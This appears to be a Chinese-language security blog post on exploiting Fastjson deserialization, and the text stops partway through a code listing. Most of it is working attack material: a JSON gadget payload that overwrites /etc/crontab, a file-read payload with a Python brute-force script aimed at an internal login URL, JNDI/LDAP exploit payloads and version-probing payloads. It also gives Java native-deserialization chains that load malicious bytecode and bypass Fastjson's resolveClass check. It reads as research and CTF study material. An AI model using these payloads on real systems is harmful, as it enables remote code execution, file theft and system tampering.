aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/etc/crontab",
"encoding":"UTF-8",
"append": false
},
"charset":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
读文件
需要能够支持 Fastjson 回显,利用 bool 报错按字节读取。文件读取的地方使用的 file 协议,在 Java 下 file 协议也可以用来探测目录(也可使用 netdict 协议)
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
114
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
exp:
import requests
import json
url = "http://10.30.0.248:8080/login"
#码表可按照实际修改,例如探测jdk目录一般文件名为小写,但也有一些特殊情况
#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写
asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写
# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符
data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///usr/local/tomcat/apache-tomcat-8.5.95/webapps/ROOT"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""
data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Content-Type": "application/json; charset=utf-8"
}
def byte2str(bytes):
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print("【" + file_str + "】")
file_byte = []
for i in range(0,30): # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text
if "charSequence" not in text:
file_byte.pop()
byte2str(file_byte)
print(file_byte)
其他 poc
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}
1.2.69 的修复
对过滤的 expectClass 进行了修改,黑名单添加了 java.lang.Runnable,java.lang.Readable 和java.lang.AutoCloseable
1.2.80
https://www.freebuf.com/vuls/354868.html
groovy
利用 Throwable
CVE-2022-25845
https://github.com/luelueking/CVE-2022-25845-In-Spring
版本探测
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA
https://github.com/safe6Sec/Fastjson
判断 json 类型
fastjson or jackson
回显详细报错信息:直接破坏 json 结构触发报错即可判断
不回显详细报错信息:jackson 不允许存在不相关的键值,fastjson 允许
完全不回显:dnslog 或者时间延迟
1.2.24-1.2.83 都会有的 dnslog payload:
{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}
判断版本号/区间
有报错信息:
{"@type":"java.lang.AutoCloseable"
a
["test":1]
无报错信息:
先看一下 fastjson 的可利用版本:
- <1.2.24,没有任何限制。
- 1.2.24-1.2.47,java.lang.class 绕过。
- 1.2.48-1.2.68,java.lang.autoCloseable 绕过。
- 1.2.70-1.2.72,无链版本
- 1.2.73-1.2.80,java.lang.exception 绕过。
- 1.2.83,无漏洞版本
部分不相关的键值有的版本报错,有的版本不报错,可以通过往原有 json 中插入 payload 的方式来验证:
| Payload | 报错版本 | 不报错版本 |
|---|---|---|
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}} |
1.2.25-1.2.80 | 1.2.83/1.2.24 |
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} |
1.2.70-1.2.83 | 1.2.24-1.2.68 |
{"a":{"@type":"java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl"}} |
1.2.48-1.2.83 | 1.2.24-1.2.47 |
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}} |
1.2.25-1.2.83 | 1.2.24 |
包环境探测
- org.springframework.web.bind.annotation.RequestMapping
- org.apache.catalina.startup.Tomcat
- groovy.lang.GroovyShell
- com.mysql.jdbc.Driver
- java.net.http.HttpClient
等等
如果系统存在这个类,会返回一个类实例,如果不存在会返回 null
通过使用 Character 将报错回显在 message 中:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}
FastJson 原生反序列化
上面的内容都是基于解析 json 进行类方法实例化,不像之前 cc 链一样是通过继承 serialzable 接口,反序列化调用 readObject 方法来进行的
接下来分析在 fastjson 的环境下利用原生反序列化
toString链
此链 jdk 原生可用
类查找
既然是原生反序列化,我们就要在 FastJson 包里面找到继承 Serializable 接口的类,在 fastjson 包里搜索调用了 Serializable 的类
最后找到这两个类:JSONObject和JSONArray类


以 JSONArray 类为例寻找利用,先去找入口点 readObject 方法
但是却发现 JSONArray 中并不存在 readObject 方法,并且它 extends 对应的 JSON 类也没有 readObject 方法,所以这里我们只有通过其他类的 readObject 方法来触发 JSONArray 或者 JSON 的某个方法来实现调用链
FastJson<=1.2.48
在 cc5 的时候,我们知道 BadAttributeValueExpException.readObject 可以调用 toString
fastjson 最经典的部分是自动触发 getter 来 getProperties 加载字节码,如何触发 getter 可以通过 JSON.parse 触发,也可以通过toJSONString 触发,而 JSON 这个类的 tostring 就是 toJSONString

那么思路就是用 BadAttributeValueExpException 触发 toJSONString,然后再触发 TemplatesImpl 的 getOutputProperties 方法实现加载任意字节码最终触发恶意方法调用
poc 前半段套 Templates 链,中间加个 JSONArray 对象,后面用 cc5 同款 BadAttributeValueExpException
即链子如下:
BadAttributeValueExpException#readObject -> JSON#toString -> JSON#toJSONString -> JSONSerializer#write -> ListSerializer#write -> getter(此处为TemplatesImpl#getOutputProperties)
exp:
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
public class ToStringChain {
public static void main(String[] args) throws Exception {
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
Utils.SetValue(obj, "_name", "0w0");
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}

FastJson>1.2.48
从1.2.49开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法

这里用了 SecureObjectInputStream,跟一下

在 SecureObjectInputStream 类当中重写了 resolveClass,通过调用了 checkAutoType 方法做类的检查
乍一看用 resolveClass 防住了,但是观察反序列化的过程会发现它是在不安全的 ObjectInputStream 基础上套了个安全的 SecureObjectInputStream:
ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass
正确的做法应该是生成一个继承 ObjectInputStream 的类并重写 resolveClass (假定为 TestInputStream),由它来做反序列化的入口,这样才是安全的,具体可以看一下 ctf 里常有的 resolveClass waf:
TestInputStream -> readObject -> resolveClass
那么我们需要去找一下什么情况下不会调用 resolveClass
绕过 resolveClass
跟踪一下 ObjectInputStream 中关于 resolveClass 的调用

向上跟踪

继续跟踪 readClassDesc,来到 readObject0,而 readObject 首先就是调用 readObject0(false),unshared 的值即为 false
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
}
仔细跟踪的话会发现这里不同 case 中的大部分类最终都会调用 readClassDesc 去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是 TC_CLASSDESC 那么就会在 readNonProxyDesc 中触发 resolveClass
那么我们可选的只有不会调用 readClassDesc 的分支:TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION
其中 null、string、exception 对我们毫无用处,只剩下 reference 引用类型
现在我们就要思考,如何在 JSONArray/JSONObject 对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass 的检查
当向List、set、map类型中添加同样对象时即可成功利用,当我们写入对象时,会在
handles这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入
以 List 为例:
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
于是就可以以这个思路构建payload了:
这里以 HashMap 为例
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
public class HighVerToStringChain {
public static void main(String[] args) throws Exception {
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
Utils.SetValue(obj, "_name", "0w0");
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(obj,badAttributeValueExpException);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
在反序列化的过程当中,因为我们引入了Map类型,第一个 readObject 方法先将 template 进行一次恢复,然后再恢复BadAttributeValueExpException对象,而在恢复 BadAttributeValueExpException 对象的过程中,因为我们传入了 val 对应的 JSONArray/JSONObject 对象,所以会触发第二个 readObject 方法,将这个过程在给 SecrueObjectInputStream 处理,因为我们这是第二次恢复 Templateslmpl 对象,所以是引用类型,通过 readHandle 哈希表的时候不会触发 resolveClass,从而实现了绕过
XString 链
在 BadAttributeValueExpException 不可用时可以利用 XString 进行替代,需要结合 HotSwappableTargetSource 触发
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
[西湖论剑2023[easy_api]](/blog/2023/03/01/%E8%A5%BF%E6%B9%96%E8%AE%BA%E 5%89%912022-%E5%A4%8D%E7%8E%B0/#easy-api%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89)
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class XStringChain {
public static void main(String[] args) throws Exception {
TemplatesImpl obj = Utils.getTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put(h1,h1);
// hashMap.put(h2,h2);
//
// Class clazz=h2.getClass();
// Field transformerdeclaredField = clazz.getDeclaredField("target");
// transformerdeclaredField.setAccessible(true);
// transformerdeclaredField.set(h2,new XString("xxx"));
HashMap<Object,Object> hashMap = makeMap(h1,h2);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}
调试
在 HashMap#readObject 下断点,因为我们最外层就是 HashMap
这里下在 putVal,和 urldns 链一样(注意要把 IDEA 调试时的 toString 对象视图关掉)

第二次调用putVal,这里的key是一个HotSwappableTargetSource,这个类充当跳板作用,调用它的 equals 方法:


注意这里我们通过反射把 target 修改为 XString 方法了
跟进

在这里发现 toString 方法,从而接上链子
HashMap 链
作为 HotSwappableTargetSource 的替代品,完全使用 HashMap 达到 XString
调用栈:
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:472, AbstractMap (java.util)
putVal:634, HashMap (java.util)
readObject:1397, HashMap (java.util)
唯一要提的点就是这里:

为了满足前面条件执行后面的 equals,需要构造两个 hash 值相等但不同的 hashmap,于是 cc7 里提到的 java 特性又派上用场了:
h1.put("zZ", jsonArray);
h1.put("yy", xString);
h2.put("zZ", xString);
h2.put("yy", jsonArray);
exp:
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
